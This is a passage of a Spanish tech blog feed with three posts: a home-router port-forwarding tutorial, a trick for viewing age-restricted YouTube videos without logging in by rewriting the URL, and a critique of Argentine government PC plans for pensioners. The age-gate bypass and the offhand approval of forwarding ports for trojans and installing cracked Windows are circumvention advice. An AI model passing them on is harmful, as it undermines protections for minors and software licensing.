1024-65535 "puertos altos". los bajos son los comunmente usados en los servicios mas conocidos, x ej:</div><br />21 FTP<br />22 SSH<br />23 TELNET<br />25 SMTP (envio de correo)<br />53 DNS<br />80 HTTP<br />110 POP3 (lectura de correo)<br />137-139 NETBIOS<br /><br />se puede consultar la lista completa aca:<br /><br />http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml<br /><span style="text-decoration: underline;"><br /></span><br /><div style="text-align: justify;">hay muchos otros servicios considerados "normales" hoy dia q usan puertos mucho mas altos como el remote desktop de win x ejempo (3389), vnc (5900) o cualquier messenger o esas porquerias. a pesar de existir un standard, en la practica se puede hacer correr un servicio en cualquier puerto, lo cual muchas veces es util para ocultarlo un poco.<br /><br />ya sabemos entonces q un puerto es un acceso para comunicacion, q es identificado por un numero y que necesitamos dos partes para establecer la conexion. en estas dos partes esta la mayor parte de la confusion de la mayoria... una parte es el servidor y la otra es el cliente. el servidor, como su nombre lo indica es el q ofrece el servicio y el cliente el q lo solicita. cuando abrimos una pagina web, la maquina donde se aloja corre el servidor en su puerto 80 y la nuestra se conecta x medio del cliente (el navegador) a traves de un puerto aleatorio estableciendo la conexion.<br /><br />al mismo tiempo, el mismo servidor puede estar corriendo FTP y podriamos conectar a el x el puerto 21 y asi con el resto de los puertos/servicios. todo esto parece no tener mucha relacion para abrir puertos para un troyano o el emule pero la teoria es la misma asi q sigan leyendo...</div><br /><br /><div><u><b><span class="Apple-style-span" style=";font-size:large;color:yellow;" >el router</span></b></u></div><br /><div style="text-align: justify;"><a href="http://2.bp.blogspot.com/-XPiKz6h7UEk/Tne8o07J1KI/AAAAAAAAAWg/UTkF5guSzJQ/s1600/nat.gif"><img alt="" id="BLOGGER_PHOTO_ID_5654195266774488226" src="http://2.bp.blogspot.com/-XPiKz6h7UEk/Tne8o07J1KI/AAAAAAAAAWg/UTkF5guSzJQ/s320/nat.gif" style="cursor: pointer; float: left; height: 317px; margin: 0pt 10px 10px 0pt; width: 320px;" border="0" /></a>este maravilloso aparato nos permite compartir la conexion entre las maquinas de nuestra red hogareña x medio del protocolo NAT (Network Adress Translation), haciendo q todas esten conectadas a internet... salvo x el pequeño detalle de las aplicaciones q necesitan sus puertos expuestos al exterior...<br /><br />no voy a explicar lo q es una direccion ip (aca pueden leer algo... <a href="http://locvtvs.blogspot.com/2010/12/arpageddon-ipcalipsis-o-como-lo-quieran.html">http://locvtvs.blogspot.com/2010/12/arpageddon-ipcalipsis-o-como-lo-quieran.html</a>) ni lo q es nat... pero alcanza con saber q cada dispositivo conectado a una red debe tener una ip para identificarlo... y q dentro de esta direccion se encuentran contenidos los 65535 puertos. tenemos dos tipos de direcciones, publicas y privadas, las 1eras son las que se usan en internet y las 2das en una red local (la mayoria de las veces del rango 192.168.x.x). para saber nuestra ip publica podemos verla desde alguna pagina de internet como:</div><br />http://ip-adress.com<br /><br /><div style="text-align: justify;">y para saber la interna basta con abrir una consola y poner "ipconfig" en windows o "ifconfig" en linux.<br /><br />el problema x el cual tenemos q "forwardear" los puertos es q la unica direccion visible desde internet es la ip publica y esta la tiene el router, q es el dispositivo q en realidad esta conectado, nosotros estamos "detras" de el y tenemos una direccion q solo es visible para las maquinas de nuestra red (y el mismo router). en lo q se refiere a "salir" hacia el exterior no tiene diferencia para lo q nos interesa, pero cuando se requiere q la otra aplicacion conecte con nuestra maquina se encuentra con el obstaculo del router ya que el puerto esta en el (ip publica), y no en nuestra maquina.<br /><br />q es lo q hacemos entonces? redirigirlo hacia nuestra ip privada x supuesto...</div><br /><br /><div><u><b><span class="Apple-style-span" style=";font-size:large;color:yellow;" >port forwarding</span></b></u></div><br /><div style="text-align: justify;">en realidad el termino "abrir un puerto" es una mala traduccion de "forward a port" o el mas conocido "port forwarding" q en este caso en particular podria ser traducido como "reenviar un puerto" o "redireccionarlo".<br /><br />con este proceso hacemos q cuando una aplicacion exterior busca X puerto lo haga en la maquina q queremos nosotros y no en el router, imaginense un tunel q conecta el puerto del router al correspondiente en la pc server. supongamos q queremos instalar un servidor web y q sea visible desde internet, instalamos y configuramos la ultima version de apache (o el q les guste), checkeamos antes q nada q funcione localmente poniendo 127.0.0.1 (localhost) en nuestro navegador, averiguamos la ip de la maquina (ipconfig/ifconfig) y vamos a la configuracion el router.<br /><br />al router se puede ingresar x el navegador o x telnet en muchos casos, el navegador es mas facil asi q solo hay q abrirlo y poner la ip del router... cual es la ip del router??.. je<br /><br />en win, haciendo el famoso "ipconfig", es la ip q sale en "puerta de enlace" o "gateway". en linux con "route -n".</div><br /><div style="text-align: justify;"><a href="http://2.bp.blogspot.com/-vasuytNJp8I/Tne9RxQVWJI/AAAAAAAAAWo/qOmId3oxFgY/s1600/routerreset.jpg"><img alt="" id="BLOGGER_PHOTO_ID_5654195970164218002" src="http://2.bp.blogspot.com/-vasuytNJp8I/Tne9RxQVWJI/AAAAAAAAAWo/qOmId3oxFgY/s320/routerreset.jpg" style="cursor: pointer; float: right; height: 171px; margin: 0pt 0pt 10px 10px; width: 320px;" border="0" /></a>una vez en la pagina del router va a pedir una pass q me imagino q la tienen o sino fijense en alguna lista de default passwords con la marca/modelo del router. si la cambiaron lo resetean y vuelve a esa misma pass. aca hay una lista bastante completa:<br /><br />http://www.phenoelit-us.org/dpl/dpl.html<br /><br />una vez dentro, todos (si... TODOS) los routers tienen un apartado de port forwarding, puede estar bajo muchos nombres pero el formato es siempre:<br /></div><br /><i><b>nombre de la regla</b></i><br /><i><b>direccion ip de destino</b></i><br /><i><b>puerto publico</b></i><br /><i><b>puerto privado</b></i><br /><i><b>protocolo</b></i><br /><br /><div style="text-align: justify;">puede tener alguno mas pero estos son los necesarios para hacer el forward.</div><a href="http://3.bp.blogspot.com/-JXIORz26vC0/Tne9zwcGufI/AAAAAAAAAWw/jg_n4nzr9s0/s1600/linksys_port_fwd_afp.jpg"><br /></a><br /><table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" align="center" cellpadding="0" cellspacing="0"><tbody><tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-vM4-tlIKH-Q/Tne-QjdSvXI/AAAAAAAAAW4/WEUBPTqNccY/s1600/linksys_port_fwd_afp.jpg" style="margin-left: auto; margin-right: auto;"><img alt="" id="BLOGGER_PHOTO_ID_5654197048792235378" src="http://2.bp.blogspot.com/-vM4-tlIKH-Q/Tne-QjdSvXI/AAAAAAAAAW4/WEUBPTqNccY/s400/linksys_port_fwd_afp.jpg" style="display: block; margin: 0px auto 10px; text-align: center;" width="400" height="305" border="0" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><span class="Apple-style-span" style="font-size:small;"><i>Menu de configuracion en Linksys</i></span></td><td class="tr-caption" style="text-align: center;"><br /></td></tr></tbody></table><b style="color: yellow;"><br /></b><div style="text-align: justify;"><b style="color: yellow;">nombre de la regla:</b> es solo una etiqueta, le pueden poner el nombre q quieran... seria bueno ponerle uno q recuerde lo q hace... ;)<br /></div><b><br /></b><br /><div style="text-align: justify;"><b style="color: yellow;">direccion ip de destino:</b> es la direccion de la maquina en la red interna a la cual queremos redirigir el puerto.<br /><br /><b style="color: yellow;">puerto publico:</b> el puerto del router q queremos redirigir (x ej el 80 en el caso de un servidor web)<br /><br /><b style="color: yellow;">puerto privado:</b> el puerto en la maquina. x lo gral ponemos el mismo q el publico pero se pueden llegar a crear reglas mas avanzadas redirigiendo un puerto a otro. x ejemplo podemos hacer q el servidor web corra en el puerto 30000 localmente, en ese caso pondriamos 30000 en este campo y el 80 seria redirigido a este de manera transparente para el cliente q conecta desde internet... para este la conexion seria normal, al 80.<br /><br /><b style="color: yellow;">protocolo (tcp/udp/both):</b> tcp y udp son protocolos de transporte de datos, son los q llevan la informacion de un puerto a otro. para hacerlo rapido, las aplicaciones para las cuales queremos abrir puertos pueden usar tcp, udp o ambos, x lo gral en las instrucciones del soft se indica cual se debe abrir y sino funciona simplemente prueben con both (ambos).<br /></div><br /><table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" align="center" cellpadding="0" cellspacing="0"><tbody><tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-6VV60dvAKQM/Tne-Vsz8b1I/AAAAAAAAAXA/2h_Z0UF7MjQ/s1600/dlink.jpg" style="margin-left: auto; margin-right: auto;"><img alt="" id="BLOGGER_PHOTO_ID_5654197137202507602" src="http://4.bp.blogspot.com/-6VV60dvAKQM/Tne-Vsz8b1I/AAAAAAAAAXA/2h_Z0UF7MjQ/s400/dlink.jpg" style="display: block; margin: 0px auto 10px; text-align: center;" width="400" height="277" border="0" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><span class="Apple-style-span" style="font-size:small;"><i>Menu de configuracion en DLink</i></span><br /><br /></td><td class="tr-caption" style="text-align: center;"><br /></td></tr></tbody></table><div style="text-align: justify;">explicando un poco mejor la diferencia, tcp (Transmission Control Protocol) es el mas usado ya que posee control de flujo, el cual facilita la correccion de errores. cuando un paquete es enviado corre peligro de sufrir una colision, la cual haria q no llegue a destino, en ese caso el cliente vuelve a pedir el paquete al server hasta tener la informacion completa.<br /></div><br /><table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" align="center" cellpadding="0" cellspacing="0"><tbody><tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-L7DqLsRUNYA/Tne-Z99wuyI/AAAAAAAAAXI/pGuLZyOHx9g/s1600/3ComWirelessVirtualServerScreen.jpg" style="margin-left: auto; margin-right: auto;"><img alt="" id="BLOGGER_PHOTO_ID_5654197210526563106" src="http://1.bp.blogspot.com/-L7DqLsRUNYA/Tne-Z99wuyI/AAAAAAAAAXI/pGuLZyOHx9g/s400/3ComWirelessVirtualServerScreen.jpg" style="display: block; margin: 0px auto 10px; text-align: center;" width="400" height="250" border="0" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><span class="Apple-style-span" style="font-size:small;"><i>Menu de configuracion en 3com</i></span></td><td class="tr-caption" style="text-align: center;"><br /></td></tr></tbody></table><br /><div style="text-align: justify;">udp (User Datagram Protocol) es mas usado x aplicaciones de streaming, asi tambien como troyanos y ataques DoS entre otras cosas, en resumen nada q requiera 100% de fiabilidad en los datos. lo q si ofrece udp es mucha velocidad, al no tener q preocuparse de checkear y reenviar paquetes.<br /></div><br /><br /><div><u><b><span style=";font-size:large;color:yellow;" >caso practico</span></b></u></div><br /><div style="text-align: justify;"><a href="http://4.bp.blogspot.com/-m5Xr8s45cGo/Tne_PLp2eeI/AAAAAAAAAXQ/W7u5yv1QY4s/s1600/ftp.jpg"><img alt="" id="BLOGGER_PHOTO_ID_5654198124734216674" src="http://4.bp.blogspot.com/-m5Xr8s45cGo/Tne_PLp2eeI/AAAAAAAAAXQ/W7u5yv1QY4s/s320/ftp.jpg" style="cursor: pointer; float: left; height: 215px; margin: 0pt 10px 10px 0pt; width: 320px;" border="0" /></a>vamos a suponer ahora q queremos instalar un server de ftp en nuestra pc y q sea accesible desde internet mientras estamos en nuestra red local, detras de un router.<br /><br />sabemos q el sevicio ftp usa el puerto 21, x lo tanto ese es el q tenemos q forwardear (o "abrir" hablando mal). abrimos una consola y con ipconfig vemos nuestra ip y la del router como explique mas arriba. vamos a suponer entonces q nuestra ip es 192.168.1.51 y la del router 192.168.1.1.<br /><br />abrimos el navegador y le ponemos la ip del router (192.168.1.1), nos lleva a la pantalla de logueo donde ingresamos user/pass. una vez dentro buscamos el menu de forwarding y creamos una nueva regla:<br /></div><br /><div style="text-align: justify;"><b><span style="color:yellow;">nombre:</span></b> FTP (o lo q quieran)<br /><b><span style="color:yellow;">direccion ip:</span></b> 192.168.1.51 (la de la pc q corre el server ftp)<br /><b style="color: yellow;">puerto exterior:</b> 21 (puede aparecer como "external", "public", "start" o algunas otras)<br /><b style="color: yellow;">puerto interior:</b> 21 (tambien puede salir con otro nombre o en otros casos como en algunos tp-link no aparecer)<br /><b style="color: yellow;">protocolo:</b> TCP (el FTP usa solamente TCP, poniendo "both" funcionaria igual pero... para q abrir algo q no vamos a usar?)<br /></div><br /><div style="text-align: justify;">guardar la configuracion y el server ya deberia ser accesible desde internet. cambiando direcciones ip y puertos x los adecuados, el mismo proceso sirve para cualquier aplicacion, ya sea p2p, juegos online, troyanos o un server como el del ejemplo.<br /></div><br /><br /><div style="color:yellow;"><u><b><span class="Apple-style-span" style="font-size:large;">firewall, dmz y algunos otros conceptos</span></b></u></div><br /><div style="text-align: justify;"><a href="http://4.bp.blogspot.com/-lv1tKL5zykQ/Tne_dfY5EEI/AAAAAAAAAXY/YU78rGmy6rI/s1600/dmz.jpeg"><img alt="" id="BLOGGER_PHOTO_ID_5654198370549960770" src="http://4.bp.blogspot.com/-lv1tKL5zykQ/Tne_dfY5EEI/AAAAAAAAAXY/YU78rGmy6rI/s320/dmz.jpeg" style="cursor: pointer; float: right; height: 244px; margin: 0pt 0pt 10px 10px; width: 207px;" border="0" /></a>ademas de forwardear el puerto debemos, ahora si, "abrirlo" en el/los firewall q esten en la red. seria muy largo explicar lo q es un firewall y creo q el q lee esto, tratando de forwardear puertos, ya sabe lo q es. obviamente si el puerto esta forwardeado pero cerrado en el firewall nunca se va a establecer la conexion, asi q hay q abrirlo en el q usemos en nuestro sistema (firewall de xp, iptables, algun av o lo q sea) y si hay otro firewall en el router o cualquier otro dispositivo q se encuentre entre nosotros y el exterior hacer lo mismo en este.<br /><br />la opcion DMZ (De Militarized Zone) o "zona desmilitarizada" sirve para exponer todos los puertos de un dispositivo hacia el exterior como si estuviera conectado a un simple modem. si activamos esta opcion no tenemos q preocuparnos de forwardear nada ya q todo esta abierto al exterior... de lo q si tenemos q preocuparnos es de tanta exposicion, esta opcion no es para nada segura y no recomiendo usarla salvo para propositos de testeo o bien q sepan lo q estan haciendo.<br /></div><br /><br /><span class="Apple-style-span" style="font-size:xx-small;"></span><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-8487301561761267296?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com0tag:blogger.com,1999:blog-3031385326498684086.post-2544259691218631762011-08-07T20:49:00.007-03:002011-08-07T23:43:06.036-03:00<div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-2rgBBR1QIz8/Tj9H0cqI_gI/AAAAAAAAAV4/0g5zFv5nAgM/s1600/youtube-2.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img src="http://1.bp.blogspot.com/-2rgBBR1QIz8/Tj9H0cqI_gI/AAAAAAAAAV4/0g5zFv5nAgM/s200/youtube-2.jpg" width="200" height="200" border="0" /></a></div><div style="text-align: justify;">hace un tiempo youtube restringe el acceso a ciertos videos por "contenido inapropiado", si andan cada tanto x ahi se habran encontrado seguramente con alguno de ellos. El mensaje q muestran es algo asi:<br /></div><br /><span style="font-style: italic;">This video or group may contain content that is inappropriate for some users.</span><br /><br /><span style="font-style: italic;">To view this video or group, please verify that you are of the appropriate age by signing in or signing up....</span><br /><br /><div style="text-align: justify;">algunos de estos videos son asi catalogados por el uploader y otros simplemente xq los denuncian como inapropiados. de todas formas no es tan dificil verlos ya q solo hay q hacerse una cuenta en youtube y al ingresar a la url del video "inapropiado" nos sale el tipico boton para declarar q somos mayores de 18 (aunque tengan 10) y se puede ver normalmente pero... para q perder tiempo creando una cuenta solo para ver un video? termina siendo muy parecido a la tactica de los admins de foros q ocultan sus links:<br /></div><br /><a href="http://locvtvs.blogspot.com/2009/06/como-ver-links-ocultos-en-foros-smf.html">como ver links ocultos en foros smf</a><br /><br /><div style="text-align: justify;">sumemos usuarios, no importa si en la vida no vuelven a entrar, solo por las estadisticas.<br /><br />seguramente diran q es para proteger a los menores de contenido inapropiado, pero cualquier "menor" de hoy sabe bastante mas q el comun de los "mayores" y seguramente sabe como buscar en san google para llegar a esta pagina y aprender a hacer algo tan simple... o aun mejor, llegar a la misma conclusion q yo y averiguarlo x si mismo q no es tan dificil. si de verdad quieren proteger a alguien mejor q se esfuercen un poco mas.<br /></div><br /><br /><div style="color: yellow;"><b><u>el "metodo"... xD</u></b></div><br /><div style="text-align: justify;"><a href="http://3.bp.blogspot.com/-K9jJrq8gDP8/Tj9JgiDbyNI/AAAAAAAAAWA/b5z45_efd0Q/s1600/Albino_Pacman_Frog.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 239px;" src="http://3.bp.blogspot.com/-K9jJrq8gDP8/Tj9JgiDbyNI/AAAAAAAAAWA/b5z45_efd0Q/s320/Albino_Pacman_Frog.jpg" alt="" id="BLOGGER_PHOTO_ID_5638306081737001170" border="0" /></a>todo esto empezo xq queria comprarme una rana "pacman" albina, se llaman asi xq son muy parecidas al famoso pacman. es un bicho bastante agresivo q come alimento vivo, cuando son pequeñas grillos, zophobas o tenebrios (una especie de gusanos) y cuando se ponen mas grandes se la puede alimentar con pequeños ratones como a cualquier especie de serpiente grande.<br /><br />emmm... si... soy aficionado a los "bichos", pero como este es un blog de tecnologia volvamos al tema... buscando videos de la rana mandandose algun ratoncito me encuentro con este:<br /></div><br />http://www.youtube.com/watch?v=2ZV11o_2oTU<br /><br /><div style="text-align: justify;">en el cual me salio el famoso mensaje. tengo un par de cuentas en youtube y no me costaba nada loguearme pero la verdad q no me gusta q me obliguen, como tampoco me gusta q quede registro de lo q miro o no con mi usuario, lo uso solamente para subir videos y muy de vez en cuando.<br /><br />entonces me acorde del viejo truco de sacar el "watch" en la url para ir directamente al video y... vaya sorpresa (o no tanto)... funciono. me dejo verlo sin loguear, registrar ni nada de eso. entonces... lo unico q hay q hacer es modificar la url y dejarla asi:<br /></div><br />http://www.youtube.com/v/2ZV11o_2oTU<br /><br /><div style="text-align: justify;">ahora si podemos ver a la linda ranita comerse al ratoncito... impresionables abstenerse ;)</div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-254425969121863176?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com0tag:blogger.com,1999:blog-3031385326498684086.post-6828921651392387112011-07-03T14:46:00.010-03:002011-07-03T16:21:31.940-03:00<a href="http://1.bp.blogspot.com/-SiQaYdJqsHg/ThC2j5TvjsI/AAAAAAAAAVE/WniJgODFLDA/s1600/rman8248l.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5625196662381055682" src="http://1.bp.blogspot.com/-SiQaYdJqsHg/ThC2j5TvjsI/AAAAAAAAAVE/WniJgODFLDA/s320/rman8248l.jpg" style="cursor: hand; cursor: pointer; float: left; height: 231px; margin: 0 10px 10px 0; width: 320px;" /></a><div style="text-align: justify;">lanza el gobierno otro de sus famosos planes para q todos tengan su pc, y les toca otra vez a los pobres jubilados (se ve q es mas facil sacarles $$$). otra vez me vi obligado a checkear las ofertas xq siempre hay algun conocido q pregunta para algun pariente o muchas veces para si mismo tratando de aprovechar las cuotas y el supuesto ahorro en el precio.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">la verdad es q no tengo idea como licita el gobierno este proceso, no tengo idea (ni me interesa) de politica y no tengo interes particular en todo esto x lo q creo q mi opinion es lo bastante imparcial como para q valga la pena... de lo q si tengo bastante idea es de maquinas, precios y todas esas cosas y lo q si puedo asegurar es q no le recomendaria a nadie meterse en uno de esos planes.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">los planes se otorgan x medio del bco nacion, la anses y las empresas q "participan actualmente". la mas conocida es hp q siempre anda en todas las cosas raras, exo q estuvo metida en la famosa movida de las netbooks para las escuelas (mejor ni hablar) y olivetti. de estas ultimas no tuve el placer de ver ningun desktop, pero si son como las notebooks mejor ni las comento xq es de lo peorcito q anda dando vueltas. mal diseño, mal ensambladas... malas.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">en resumen... se obtiene un prestamo para comprar alguna de las maquinas q nos ofrecen, q seguramente no seria una de las q comprariamos si pudieramos elegir. no recomendaria a nadie comprar una maquina en exo, asi como no recomendaria comprar una de esas "commodore" de garbarino x ejemplo. tampoco recomendaria a un jubilado comprar alguno de los modelos q ofrece hp, y menos todavia algo de olivetti.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">lo mejor seria poder sacar un credito y cada uno comprar donde quiera la maquina q se le ocurra. despues q tenga q demostrar q gasto el dinero en eso o lo q sea, no creo q sea tan dificil... o tal vez lo sea, pero seria tambien mucho mas transparente. aunque seguramente unos cuantos se estarian perdiendo algunos millones si se hiciera asi...</div><div><br /></div><div>en fin... politica... ;)</div><div><br /></div><div><br /></div><div><span class="Apple-style-span" style="color: yellow; font-size: x-large;"><b><u>hp</u></b></span></div><div><br /></div><div style="text-align: justify;">veamos para empezar la 1er oferta de hp. una compaq aio (all in one) de esas copiadas de las imac. todo en el "monitor"... bien dificil de desarmar y reemplazar partes, lo q es lo mismo q decir "caro cuando se rompa". es raro q todas las ofrecidas sean aio, debe ser q no se las pueden vender a nadie.</div><div style="text-align: justify;"><br /></div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5625198835923690466" src="http://4.bp.blogspot.com/-6AeCP_rjyOg/ThC4iaYsI-I/AAAAAAAAAVM/n8tkU3MDGDI/s320/intel-atom-processors.gif" style="text-align: justify;cursor: pointer; float: right; height: 238px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px; " /></span><div style="text-align: justify;">la maquina en cuestion es la Compaq Presario CQ1-1307 AiO con un precio de 2699$ argentinos, no es caro y no es barato, es lo mismo q vale en ml o en cualquier negocio de electrodomesticos. el 1er pensamiento es... "pero es en 40 cuotas", pero vale la pena estar pagando 40 cuotas de semejante porqueria? veamos las especificaciones:</div><div><br /></div><div><i>Procesador Intel® Atom™ Dual Core D510.</i></div><div><i>Windows® 7 Starter Original*.</i></div><div><i>Memoria de 2GB DDR2.</i></div><div><i>Disco Duro de 500GB 7200RPM SATA - 3G</i></div><div><i>Pantalla LCD ancha HD de 18,5".</i></div><div><i>Cámara web y micrófono integrados.</i></div><div><i>Tarjeta gráfica integrada Intel® GMA 3150.</i></div><div><i>Grabadora de DVD SuperMulti de bandeja delgada con tecnología LightScribe.</i></div><div><i>Lector de tarjetas de memoria 6 en 1.</i></div><div><i>Red inalámbrica 802.11b/g/n.</i></div><div><br /></div><div style="text-align: justify;">procesador atom. el d510 corre a 1.66ghz pero... pero... se calcula q un atom tiene la mitad del poder de proceso q un viejito pentium M, o sea q tenemos un dual core pero corriendo a la velocidad del procesador de nuestro smartphone (o menos segun el modelo xD).</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">memoria 2gb ddr2 (!). si, hp sigue vendiendo desktops con memoria ddr2 xD. de todas formas no se preocupen mucho x ampliarla si no cambian la version de windows ya q el starter no soporta mas de 2gb... ahhh y solo hay version de 32 bits... y tampoco se puede:</div><div><br /></div><div><i>crear grupos de trabajo</i></div><div><i>usar multiples monitores</i></div><div><i>cambio rapido de usuarios</i></div><div><i>cambiar el fondo de pantalla</i></div><div><i>aero</i></div><div><i>multi-touch</i></div><div><i>escritorio remoto</i></div><div><i>unirse a dominios</i></div><div><i>modo xp</i></div><div><i>etc, etc, etc.</i></div><div><br /></div><a href="http://4.bp.blogspot.com/-8UjeEYxgutc/ThC5RjP7myI/AAAAAAAAAVU/_Iorzp_fcKI/s1600/Vista_2Dpirated.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5625199645756726050" src="http://4.bp.blogspot.com/-8UjeEYxgutc/ThC5RjP7myI/AAAAAAAAAVU/_Iorzp_fcKI/s320/Vista_2Dpirated.jpg" style="cursor: pointer; float: left; height: 230px; margin-bottom: 10px; margin-left: 0px; margin-right: 10px; margin-top: 0px; width: 230px;" /></a><div style="text-align: justify;">x supuesto q estamos en argentina, el pais de la pirateria. hasta el hijo de 12 años del vecino de al lado puede instalar un windows "trucho" pero... alguien penso q en el precio los pobres jubilados pagan esa licencia? una licencia con la q no pueden poner el fondo de pantalla del perro si tienen ganas? obvio q van al vecino y le dicen al hijo q le ponga el win crackeado... y les queda de adorno el blister de la licencia... ;)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">disco de 500gb 7200rpm, dvdrw con lightscribe, grafica integrada (q no debe correr ni el doom) y todos esos accesorios baratos como la cam, mic, lector de mems, etc</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">puede no parecer caro desde la optica de alguien no muy entendido, pero en realidad es una porqueria al precio de un desktop "clon" 10 veces mas potente.</div><div><br /></div><div>pero bueno... aunque sea es "linda"... xD</div><div><br /></div><div><br /></div><div><span class="Apple-style-span" style="color: yellow; font-size: x-large;"><b><u>exo</u></b></span></div><div><br /></div><div style="text-align: justify;">si lo de hp puede llegar a parecer tal vez "engañoso" lo de exo es casi increible. vamos a ver la mas barata:</div><div><br /></div><div><i>Intel® Atom™ 425</i></div><div><i>Memoria 2 Gigabytes</i></div><div><i>Disco de 320GB SATA 2</i></div><div><i>Grabadora de DVD/CD Dual Layer</i></div><div><i>Red 10/100 MB Ethernet</i></div><div><i>Teclado Multimedia USB</i></div><div><i>MS Office starter 2010</i></div><div><i>Windows 7® Starter Edition Original</i></div><div><i>Antivirus ESET NOD32</i></div><div><i>Google Earth</i></div><div><i>Cursos autoestudio de manejo de PC e internet, Correo electrónico y Redes Sociales</i></div><div><i>Monitor Color LCD 15" Wide</i></div><div><i>Entrega a domicilio sin Cargo en todo el país</i></div><div><br /></div><div style="text-align: justify;">como se puede ver es en todo inferior a la de hp, salvo por la memoria q dice "2gb" pero no se sabe si son ddr2, 3, 1, o simms de 30 pines. y seguimos con los famosos atom...</div><div><br /></div><a href="http://4.bp.blogspot.com/-Wo-C_OWe-_4/ThC7zHqdggI/AAAAAAAAAVc/5czmn8-RqZk/s1600/comp2.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5625202421490614786" src="http://4.bp.blogspot.com/-Wo-C_OWe-_4/ThC7zHqdggI/AAAAAAAAAVc/5czmn8-RqZk/s320/comp2.jpg" style="cursor: pointer; float: right; height: 293px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px;" /></a><div style="text-align: justify;">aca podemos ver algunos tests de benchmark de un atom contra un viejo pentium 4. el atom q mas puntua tiene 2 cores contra 1 de los p4 y aun asi el p4 lo supera en muchos tests:</div><div><br /></div><div><a href="http://www.tomshardware.com/reviews/atom-d510-pentium-4-nettop,2649-4.html">atom d510 vs P4</a></div><div><br /></div><div style="text-align: justify;">estamos hablando de micros q tienen casi 10 años contra los "modernos" atom. la pc vieja q esta tirada en algun armario es mas rapida q esta maquina.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">en este caso, todo esto metido en un gabinete normal con un moni de 15, teclado, mouse y parlantes de kit.</div><div><br /></div><div>ni siquiera es "linda"... xD</div><div><br /></div><div style="text-align: justify;">ahhh... trae "google earth". si alguna vez se les llega a borrar lo descargan de aca y listo:</div><div><br /></div><div>http://www.google.com/earth/download/ge/agree.html</div><div><br /></div><div style="text-align: justify;">y x supuesto cursos de autoestudio q deben estar buenisimos, seguro q eso vale la diferencia de precio. ahhh el precio? 2499$!!!</div><div><br /></div><div>increible!!</div><div><br /></div><div><br /></div><div><br /></div><div><span class="Apple-style-span" style="color: yellow; font-size: x-large;"><b><u>las mas caras</u></b></span></div><div><br /></div><div style="text-align: justify;">las de major precio seguramente no iran a parar a las manos del jubilado sino de algun nieto (o hijo) q vio la forma de conseguirse una pc nueva. a todos ellos les digo... "no es una buena idea"...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">la mas cara de hp es la HP TouchSmart 310-1110 con un valor de 5299$, la voy a dejar de lado xq no me imagino al jubilado con el touch screen. me parece exagerado, el q quiere tanto lujo ya no es por ninguna necesidad. se termina pagando mucho el touch en una pc no tan poderosa... no tiene sentido.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">la q sigue entonces (no touch screen) es la HP Omni 200-5330:</div><div><br /></div><div><i>Procesador Intel® Core™ i3-550.</i></div><div><i>Windows® 7 Home Basic Original*.</i></div><div><i>Memoria de 2GB DDR3.</i></div><div><i>Disco Duro de 500GB SATA - 3G.</i></div><div><i>Pantalla LCD ancha Full HD de 21,5".</i></div><div><i>Grabadora de DVD SuperMulti de bandeja delgada.</i></div><div><i>Tarjeta gráfica integrada Intel® HD Graphics.</i></div><div><i>Cámara web y micrófono integrado.</i></div><div><i>Red inalámbrica 802.11b/g/n.</i></div><div><i>Lector de tarjetas de memoria 6 en 1.</i></div><div><br /></div><div>precio? 4999$!!!!!!!! (pero tambien es "linda")</div><div><br /></div><div>la mas cara de exo:</div><div><br /></div><div><i>Procesador Intel® Core™ i5-2300 Segunda Generación</i></div><div><i>Chipset Intel® H61</i></div><div><i>Disco 1TB SATA 2</i></div><div><i>Memoria 4 Gigabytes DDR3 hasta 16GB</i></div><div><i>Grabadora de DVD/CD Dual Layer</i></div><div><i>Lector múltiple de Memorias</i></div><div><i>LAN 1Gb</i></div><div><i>Video Geforce 210 512MB + salidas DVI y HDMI</i></div><div><i>WIFI Wireless 802.11 b/g</i></div><div><i>Audio alta definición soporta 6 canales</i></div><div><i>Slot PCI Express 16x libre</i></div><div><i>12 Puertos USB 2.0</i></div><div><i>Ventilación Dual</i></div><div><i>Windows 7 ® Home Premium Original</i></div><div><i>MS Office starter 2010</i></div><div><i>Antivirus ESET NOD32</i></div><div><i>Google 